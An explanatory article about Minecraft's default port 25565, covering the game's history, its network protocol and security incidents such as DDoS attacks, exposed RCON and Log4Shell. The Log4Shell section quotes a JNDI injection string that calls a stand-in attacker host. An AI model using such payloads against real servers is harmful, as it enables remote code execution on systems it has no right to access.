Port 25565: Minecraft — Where Worlds Are Built

Summary

Port 25565 is the default port for Minecraft: Java Edition multiplayer servers. When you type a server address without specifying a port, your client assumes 25565. Through this port flows the traffic of the best-selling video game in human history: over 300 million copies sold, 225 million monthly active players, and millions of servers hosting worlds that exist nowhere else.

This port has no RFC. It has no IANA registration.¹ It is simply the number Markus "Notch" Persson chose when he needed his game to listen for connections in 2009. Fifteen years later, it carries more creative output than any other port number on Earth.

What Port 25565 Does

Port 25565 carries the Minecraft Java Edition protocol—a custom binary protocol over TCP that transmits everything required to synchronize a shared world between server and clients. This includes:

• Chunk data: The 16×16×16 sections of blocks that make up the world, streamed to players as they explore²
• Player positions: Sent 20 times per second, even when standing still
• Block updates: Every block placed or broken, synchronized across all connected players
• Entity state: Mobs, items, minecarts, falling sand—everything that moves
• Chat messages: The text that turned this building game into a social platform

When you connect to a Minecraft server, your client opens a TCP connection to port 25565, performs a handshake, authenticates with Mojang's servers (unless the server runs in offline mode), and then begins receiving the world in chunks. The protocol uses variable-length integers, big-endian byte ordering, and packet compression for payloads over a configurable threshold.²

The Bedrock Edition—the version running on consoles, mobile devices, and Windows 10/11—uses a completely different protocol: RakNet over UDP on port 19132.³ Two ports, two protocols, two communities, one game.

The Story Behind the Port

A Week in May

On May 10, 2009, Markus Persson sat down to prototype a game. He had been playing Infiniminer with other developers on the TIGSource forums, and something clicked. He wanted to build something like it—but different. More survival. More exploration. More infinite.⁴

Six days later, on May 17, 2009, he released the first public version on TIGSource. He called it Minecraft.

Multiplayer came two weeks after that, on May 31, 2009, in version 0.15. The server needed a port. Notch picked 25565.⁵

Why 25565? There's no official explanation. No interview where he explains the choice. The first 1024 ports are reserved as "well-known" ports—HTTP, FTP, SSH, things the Internet depends on. Ports 1024-49151 are "registered" ports, where applications can request assignments from IANA. Port 25565 sits in this range but was never registered.¹

The most likely explanation is the simplest one: it was available, it was high enough to avoid conflicts, and Notch had to pick something. So he did.

From Bedroom to Phenomenon

What followed was one of the most improbable success stories in software history.

The alpha phase began on June 30, 2010. Survival multiplayer launched on August 4, 2010. Within the first hour, a server called MinecraftOnline created a world map named "Freedonia" that still runs today—the oldest continuously operated Minecraft survival world in existence.⁵

Notch quit his day job at jAlbum as alpha sales surged. He founded Mojang with former colleagues. The Halloween Update added biomes, the Nether, and new mobs. The game entered beta on December 20, 2010.⁴

By November 2011, Minecraft officially released as version 1.0. By then, it had already sold millions of copies. The server community had exploded: hMod launched in September 2010, enabling the plugin ecosystem that would power servers like Hypixel and Mineplex.⁵ WorldEdit, one of the most influential creative tools in gaming history, began as an hMod plugin.

On September 15, 2014, Microsoft acquired Mojang for $2.5 billion.⁶ At the time, Minecraft had sold 50 million copies. It seemed like a lot.

In October 2023, Minecraft became the first video game in history to sell over 300 million copies.⁶ The second-place game, Grand Theft Auto V, had sold 185 million.

Every one of those multiplayer sessions, every shared world, every server connection—they all flow through port 25565.

How the Protocol Works

The Minecraft protocol is not publicly specified in the way HTTP or SMTP are. There is no RFC, no standards body, no formal documentation from Mojang. Everything known about it comes from reverse engineering, community documentation, and occasional official publications.²

The Handshake

When you connect to a Minecraft server, the conversation begins with a handshake packet containing:

1. The protocol version number (currently 774 for Java Edition 1.21.11)
2. The server address you're connecting to
3. The server port
4. Your intended next state (status query or login)

This handshake determines whether you're pinging the server for information or actually trying to join.²

Authentication

Unless the server runs in "offline mode," the client must authenticate with Mojang's (now Microsoft's) authentication servers. This prevents players from impersonating others and enables the server to verify that you own the game.

World Streaming

Once authenticated, the server begins streaming the world to you. Minecraft divides worlds into "chunk columns"—16×16 horizontal sections that span the entire vertical build height. These columns are further divided into "chunk sections," each 16×16×16 blocks.²

The server sends chunk data for a square area centered on your position, with the radius determined by the server's view distance setting. As you move, new chunks stream in and distant chunks unload. This is why you can walk forever in a Minecraft world—it generates ahead of you and discards what's behind.

Position Synchronization

The server and client constantly exchange position updates. The client sends its position to the server 20 times per second (once per game tick), even when standing still. The server broadcasts player positions to other connected clients.²

This creates the illusion of a shared world: when another player walks past you, their movement is actually a series of position packets flowing through port 25565, rendered by your client as a smoothly moving character.

SRV Records

Minecraft Java Edition supports DNS SRV records, which allow servers to run on non-standard ports while still being accessible via a clean domain name. When you type play.example.com into the Minecraft client, it first checks for an SRV record at _minecraft._tcp.play.example.com. If found, that record specifies the actual port to connect to.⁷

This is why some servers can advertise clean domain names without requiring players to append :25565 to the address—the SRV record handles the redirection.

Security

Port 25565 has been at the center of some of the most significant security events in gaming history.

Log4Shell: The Vulnerability That Broke the Internet

On December 9, 2021, security researchers publicly disclosed CVE-2021-44228, a critical vulnerability in Apache Log4j 2, a Java logging library used by countless applications—including Minecraft.⁸

The vulnerability was devastating in its simplicity. Log4j had a feature that allowed log messages to contain special lookup strings. If you could get Log4j to log a string like ${jndi:ldap://attacker.com/exploit}, it would reach out to that server and potentially execute arbitrary code.

In Minecraft, you could trigger this by typing the exploit string into chat. The server would log your message, Log4j would process the lookup, and the attacker's code would execute on the server. No authentication required. No special access. Just type a message.

Security researchers at Alibaba discovered the vulnerability on November 24, 2021, and reported it to Apache. The public disclosure two weeks later sent shockwaves through the industry. CISA director Jen Easterly called it "one of the most serious I've seen in my entire career, if not the most serious."⁸

Log4Shell received the maximum possible CVSS score: 10 out of 10. Hundreds of millions of devices were affected across countless applications.⁸

Minecraft servers running versions 1.7 through 1.18.1 were vulnerable. Mojang released patches. Server administrators scrambled to update. But the damage demonstrated something profound: a game about placing blocks had become critical infrastructure, running on the same vulnerable foundations as enterprise systems worldwide.

DDoS Attacks

Minecraft servers are among the most frequently DDoS-attacked targets on the Internet.⁹

The motivations vary. Rival server owners attack competitors to steal players. Tournament participants attack opponents to disrupt matches. Extortionists demand payment to stop attacks. Sometimes people just want to watch things break.

On August 25, 2024, security company Global Secure Layer mitigated what they called the largest packet-rate DDoS attack ever recorded: 3.15 billion packets per second, targeting a Minecraft server. The attack traffic originated from sources across 18 countries, with significant concentration in Russia.⁹

In Q3 2022, Cloudflare observed a 2.5 Tbps attack against Wynncraft, a popular MMORPG built within Minecraft. The attack used a Mirai botnet variant—the same family of malware originally designed to attack IoT devices.⁹

Microsoft has documented DEV-1028, a cross-platform botnet specifically designed to attack private Minecraft servers. The malware includes functionality crafted to target Minecraft Java servers using specially constructed packets, likely sold as a service on darknet forums.⁹

DDoS-as-a-service platforms now offer attacks for as little as $10 per hour. A port that started as a way for friends to build together has become a battleground.

The Open Door

Port 25565 faces the same fundamental challenge as any network service: it must be open to allow connections, which means it can be found by anyone scanning the Internet.

Shodan, Censys, and other Internet scanning services continuously discover Minecraft servers. This makes legitimate servers discoverable but also exposes poorly configured ones. Servers running outdated versions, using weak RCON passwords, or trusting all connecting players face constant automated probing.

The Minecraft protocol itself lacks built-in encryption for game traffic (though authentication uses encrypted channels). This means packet inspection and manipulation are possible for attackers on the network path.

Related Ports

Port 25575 deserves special mention. RCON, short for Remote Console, allows server administrators to send commands to a Minecraft server from outside the game client. It uses a simple protocol: authenticate with a password, then send commands and receive responses.

RCON is disabled by default for good reason. An exposed RCON port with a weak password gives an attacker complete control over the server—they can execute any command an in-game operator could, including running operating system commands through server plugins.

What Flows Through

Close your eyes and imagine what's traveling through port 25565 right now.

Someone in Tokyo is placing torches in a cave, the light radius calculated server-side and transmitted as block updates. Three friends in São Paulo are building a castle together, their position packets interleaving as they circle a shared construction. A ten-year-old in Michigan is joining their first public server, the world streaming in chunks as their character spawns at a player-built welcome center.

Hypixel, one of the largest Minecraft servers, hosts over 15 million unique monthly players.¹⁰ At peak times, tens of thousands of simultaneous connections flow through its infrastructure—every player position, every block break, every chat message, every minigame action.

There are middle schoolers running servers for their friends on computers hidden under beds after bedtime. There are professional organizations running tournament infrastructure for competitive PvP. There are educators using Minecraft to teach everything from architecture to electrical circuits. There are researchers using it to study AI navigation and collaborative problem-solving.

The oldest continuously running Minecraft world began on August 4, 2010, within an hour of survival multiplayer's release.⁵ Fourteen years of continuous operation. Fourteen years of chunk data flowing through port 25565. Fourteen years of a world that exists only because people keep choosing to tend it.